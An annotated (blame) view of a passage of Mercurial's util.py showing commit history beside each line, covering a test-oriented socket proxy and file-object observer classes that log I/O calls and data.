614 This is like ``fileobjectproxy`` except for sockets.
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
615
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
616 This type is intended to only be used for testing purposes. Think hard
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
617 before using it in important code.
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
618 """
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
619 __slots__ = (
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
620 r'_orig',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
621 r'_observer',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
622 )
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
623
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
624 def __init__(self, sock, observer):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
625 object.__setattr__(self, r'_orig', sock)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
626 object.__setattr__(self, r'_observer', observer)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
627
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
628 def __getattribute__(self, name):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
629 if name in PROXIED_SOCKET_METHODS:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
630 return object.__getattribute__(self, name)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
631
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
632 return getattr(object.__getattribute__(self, r'_orig'), name)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
633
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
634 def __delattr__(self, name):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
635 return delattr(object.__getattribute__(self, r'_orig'), name)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
636
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
637 def __setattr__(self, name, value):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
638 return setattr(object.__getattribute__(self, r'_orig'), name, value)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
639
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
640 def __nonzero__(self):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
641 return bool(object.__getattribute__(self, r'_orig'))
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
642
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
643 __bool__ = __nonzero__
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
644
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
645 def _observedcall(self, name, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
646 # Call the original object.
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
647 orig = object.__getattribute__(self, r'_orig')
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
648 res = getattr(orig, name)(*args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
649
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
650 # Call a method on the observer of the same name with arguments
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
651 # so it can react, log, etc.
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
652 observer = object.__getattribute__(self, r'_observer')
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
653 fn = getattr(observer, name, None)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
654 if fn:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
655 fn(res, *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
656
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
657 return res
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
658
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
659 def makefile(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
660 res = object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
661 r'makefile', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
662
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
663 # The file object may be used for I/O. So we turn it into a
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
664 # proxy using our observer.
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
665 observer = object.__getattribute__(self, r'_observer')
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
666 return makeloggingfileobject(observer.fh, res, observer.name,
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
667 reads=observer.reads,
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
668 writes=observer.writes,
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
669 logdata=observer.logdata,
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
670 logdataapis=observer.logdataapis)
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
671
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
672 def recv(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
673 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
674 r'recv', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
675
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
676 def recvfrom(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
677 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
678 r'recvfrom', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
679
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
680 def recvfrom_into(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
681 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
682 r'recvfrom_into', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
683
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
684 def recv_into(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
685 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
686 r'recv_info', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
687
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
688 def send(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
689 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
690 r'send', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
691
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
692 def sendall(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
693 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
694 r'sendall', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
695
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
696 def sendto(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
697 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
698 r'sendto', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
699
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
700 def setblocking(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
701 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
702 r'setblocking', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
703
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
704 def settimeout(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
705 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
706 r'settimeout', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
707
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
708 def gettimeout(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
709 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
710 r'gettimeout', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
711
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
712 def setsockopt(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
713 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
714 r'setsockopt', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
715
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
716 class baseproxyobserver(object):
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
717 def _writedata(self, data):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
718 if not self.logdata:
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
719 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
720 self.fh.write('\n')
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
721 self.fh.flush()
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
722 return
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
723
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
724 # Simple case writes all data on a single line.
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
725 if b'\n' not in data:
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
726 if self.logdataapis:
37322
a67fd1fe5109 stringutil: drop escapedata() in favor of escapestr()
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
727 self.fh.write(': %s\n' % stringutil.escapestr(data))
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
728 else:
37084
f0b6fbea00cf stringutil: bulk-replace call sites to point to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37083
diff changeset
729 self.fh.write('%s> %s\n'
37322
a67fd1fe5109 stringutil: drop escapedata() in favor of escapestr()
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
730 % (self.name, stringutil.escapestr(data)))
36991
d683c7367989 wireproto: explicitly flush stdio to prevent stalls on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents: 36958
diff changeset
731 self.fh.flush()
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
732 return
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
733
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
734 # Data with newlines is written to multiple lines.
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
735 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
736 self.fh.write(':\n')
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
737
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
738 lines = data.splitlines(True)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
739 for line in lines:
37084
f0b6fbea00cf stringutil: bulk-replace call sites to point to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37083
diff changeset
740 self.fh.write('%s> %s\n'
37322
a67fd1fe5109 stringutil: drop escapedata() in favor of escapestr()
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
741 % (self.name, stringutil.escapestr(line)))
36991
d683c7367989 wireproto: explicitly flush stdio to prevent stalls on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents: 36958
diff changeset
742 self.fh.flush()
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
743
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
744 class fileobjectobserver(baseproxyobserver):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
745 """Logs file object activity."""
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
746 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
747 logdataapis=True):
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
748 self.fh = fh
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
749 self.name = name
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
750 self.logdata = logdata
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
751 self.logdataapis = logdataapis
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
752 self.reads = reads
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
753 self.writes = writes
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
754
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
755 def read(self, res, size=-1):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
756 if not self.reads:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
757 return
36585
26a6b62919e2 util: work around Python 3 returning None at EOF instead of ''
Augie Fackler <augie@google.com>
parents: 36584
diff changeset
758 # Python 3 can return None from reads at EOF instead of empty strings.
26a6b62919e2 util: work around Python 3 returning None at EOF instead of ''
Augie Fackler <augie@google.com>
parents: 36584
diff changeset
759 if res is None:
26a6b62919e2 util: work around Python 3 returning None at EOF instead of ''
Augie Fackler <augie@google.com>
parents: 36584
diff changeset
760 res = ''
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
761
38314
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents: 38164
diff changeset
762 if size == -1 and res == '':
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents: 38164
diff changeset
763 # Suppress pointless read(-1) calls that return
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents: 38164
diff changeset
764 # nothing. These happen _a lot_ on Python 3, and there
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents: 38164
diff changeset
765 # doesn't seem to be a better workaround to have matching
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents: 38164
diff changeset
766 # Python 2 and 3 behavior. :(
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents: 38164
diff changeset
767 return
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents: 38164
diff changeset
768
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
769 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
770 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
771
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
772 self._writedata(res)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
773
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
774 def readline(self, res, limit=-1):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
775 if not self.reads:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
776 return
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
777
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
778 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
779 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
780
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
781 self._writedata(res)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
782
36630
29128309c52d util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36629
diff changeset
783 def readinto(self, res, dest):
29128309c52d util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36629
diff changeset
784 if not self.reads:
29128309c52d util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36629
diff changeset
785 return
29128309c52d util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36629
diff changeset
786
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
787 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
788 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
789 res))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
790
36630
29128309c52d util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36629
diff changeset
791 data = dest[0:res] if res is not None else b''
41384
b141b5243b37 util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 41289
diff changeset
792
b141b5243b37 util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 41289
diff changeset
793 # _writedata() uses "in" operator and is confused by memoryview because
b141b5243b37 util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 41289
diff changeset
794 # characters are ints on Python 3.
b141b5243b37 util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 41289
diff changeset
795 if isinstance(data, memoryview):
b141b5243b37 util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 41289
diff changeset
796 data = data.tobytes()
b141b5243b37 util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 41289
diff changeset
797
36630
29128309c52d util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36629
diff changeset
798 self._writedata(data)
29128309c52d util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36629
diff changeset
799
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
800 def write(self, res, data):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
801 if not self.writes:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
802 return
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
803
36631
8395fddde46c util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36630
diff changeset
804 # Python 2 returns None from some write() calls. Python 3 (reasonably)
8395fddde46c util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36630
diff changeset
805 # returns the integer bytes written.
8395fddde46c util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36630
diff changeset
806 if res is None and data:
8395fddde46c util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36630
diff changeset
807 res = len(data)
8395fddde46c util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36630
diff changeset
808
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
809 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
810 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
811
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
812 self._writedata(data)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
813
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
814 def flush(self, res):
